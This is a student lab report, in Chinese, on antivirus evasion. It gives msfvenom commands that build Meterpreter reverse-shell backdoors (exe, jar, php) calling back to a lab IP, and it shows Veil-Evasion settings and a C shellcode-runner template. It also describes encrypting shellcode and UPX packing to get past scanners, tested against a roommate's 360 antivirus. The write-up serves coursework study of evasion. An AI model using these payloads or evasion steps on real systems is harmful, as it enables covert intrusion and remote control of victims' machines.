2018-2019-2 20165316 『网络对抗技术』Exp3:免杀原理与实践
一 免杀原理与实践说明
(一)、实验说明
-
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)
-
任务二:通过组合应用各种技术实现恶意代码免杀(1分)
-
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)
(二)、基础问题回答
- 问:杀软是如何检测出恶意代码的?
- 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
- 基于行为来检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
- 问:免杀是做什么?
- 通过使用一些技术手段,让杀毒软件无法识别并分析主机中的恶意代码。
- 问:免杀的基本方法有哪些?
- 改变特征码:
- 只有exe——加壳
- 有shellcode——利用shellcode生成可执行文件
- 有源代码——用其他语言重写再编译
- 改变行为:
- 通讯方式:尽量使用反弹式连接、使用隧道技术、加密通讯数据等。
- 操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码等。但是,现在微软对此似乎也有所防备。我会在下面的实验过程中详细叙述这种猜想的来源。
- 改变特征码:
- 问:开启杀软能绝对防止电脑中恶意代码吗?
- 显然不可能,如果有这种想法无疑是掩耳盗铃。。。。
二、 使用msf编码器生成后门程序及检测
1、在《Exp2:后门原理与实践》博客中,我们生成了一个后门文件。将其放在virscan.org中进行扫描,结果如下图所示:
可以看出,70款杀软中有51款报出了病毒。原因也可想而知,Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度,只要一有新编码算法,马上就会加到特征库里了。
2、使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=192.168.1.147 LPORT=5316 -f exe > met-encoded10.exe指令进行多次编码。
再使用VirusTotal进行扫描,一次迭代结果如下所示:
十次迭代结果如下所示:
仍然有52款杀软发现病毒(为啥一次还比十次少。。。。)。并没有什么卵用。多次编码之后的后门,还是会被大多数杀软发现并清理的。
三、其他形式的反弹代码
1. msfvenom生成jar文件
生成java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.147 LPORT=5316 x> backdoor5316_java.jar
生成文件如下所示:
扫描结果如下:
2. msfvenom生成php文件
生成PHP后门程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.147 LPORT=5316 x> backdoor5316_zuihaode.php(可能是因为php是。。。。)
生成文件如下所示:
扫描结果如下:
想生成更多其他形式的文件可以参考学姐的博客
三、使用veil-evasion生成后门程序及检测
安装veil-evasion的时候遇到了好多麻烦事,网速贼慢,好不容易下载好了,“展开对象”执行了俩小时还没结束,去网上也搜不到相关的原因和解释,最终还是拷贝了同学的虚拟机,如果我有机会能安装好,我会补一篇安tu装cao教程的。
1、use evasion启动evail-evasion:
2、输入命令use c/meterpreter/rev_tcp.py 进入配置界面
3、设置反弹连接IP,命令为:set LHOST 192.168.1.241,注意此处的IP是KaliIP;设置端口,命令为:set LPORT 5316:
4、输入generate生成文件,接着输入你想要playload的名字:veil_c_5316
5、保存路径为/var/lib/veil/output/compiled/veil_c_5316.exe
和以前差不多,看来去年玩烂的东西今年就被查了啊。
四. 半手工注入Shellcode并执行
在《Exp2:后门原理与实践》博客中,同样介绍了生成shellcode的方法,这次我们利用生成的shellcode编写后门程序,半手工打造恶意软件。
1、首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.147 LPORT=5316 -f c用c语言生成一段shellcode;
2、利用shellcode编写一个C语言程序后门,在windows下编译运行后,测试其可用性:
#include <windows.h>
#include <stdio.h>
//data段可读写
#pragma comment(linker, "/section:.data,RWE")
//不显示窗口
#pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"")
#pragma comment(linker, "/INCREMENTAL:NO")
void main(){
((void(*)(void))&shellcode)();//shellcode是你生成的机器码头指针
}
不用看都能知道,直接被杀软杀掉。因为出现了shellcode,可以看出,明文shellcode见光死。
3、扫描发现,仍有很多杀软能够扫描出来:
4、此时,我的心境发生了微妙的变化,我使用了新的方法加密了shellcode,让它不以明文方式出现,下图中左边为解密出来的shellcode,右边可以看出kali已经成功获得Windows权限。(呃,这里原本有一个成功的截图,但是我看到不要放截图,就没放出来。)
5、杀软没有发现它,扫描结果仅为17%。
6、然后,我给它加了一个upx压缩壳。是没被杀出来,但是,扫描结果却没有上面乐观。
五、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
注意:由于换了网络,IP地址会发生变化,所有的程序都需要重新生成。(也有可能不会,毕竟一个宿舍一个局域网)
对舍友电脑进行免杀效果测试并回连成功(舍友的杀软为最新的360安全卫士11)
离实战还缺些什么技术或步骤?
首先,虽然程序能够不被杀软检测到,我们现在只是会一些简单的综合利用技术进行改造,但实际上病毒库时时刻刻不再更新发展,我们更需要学会多方面技术来使达到免杀的目的。
其次,但对于实战来说,恶意代码如何嵌入被攻击机中,并让被控主机运行它对我们来说还是一大问题,所以接下来要对如何伪装、吸引被供给端点击这方面进行学习。
再次,我们对于编程和计算机内部结构的了解还不够深刻,没有将知识联系起来,无法有效找出计算机的漏洞。
整体来说就是要进行信息收集、漏洞分析,然后根据漏洞构造后门,并隐藏、清理痕迹等。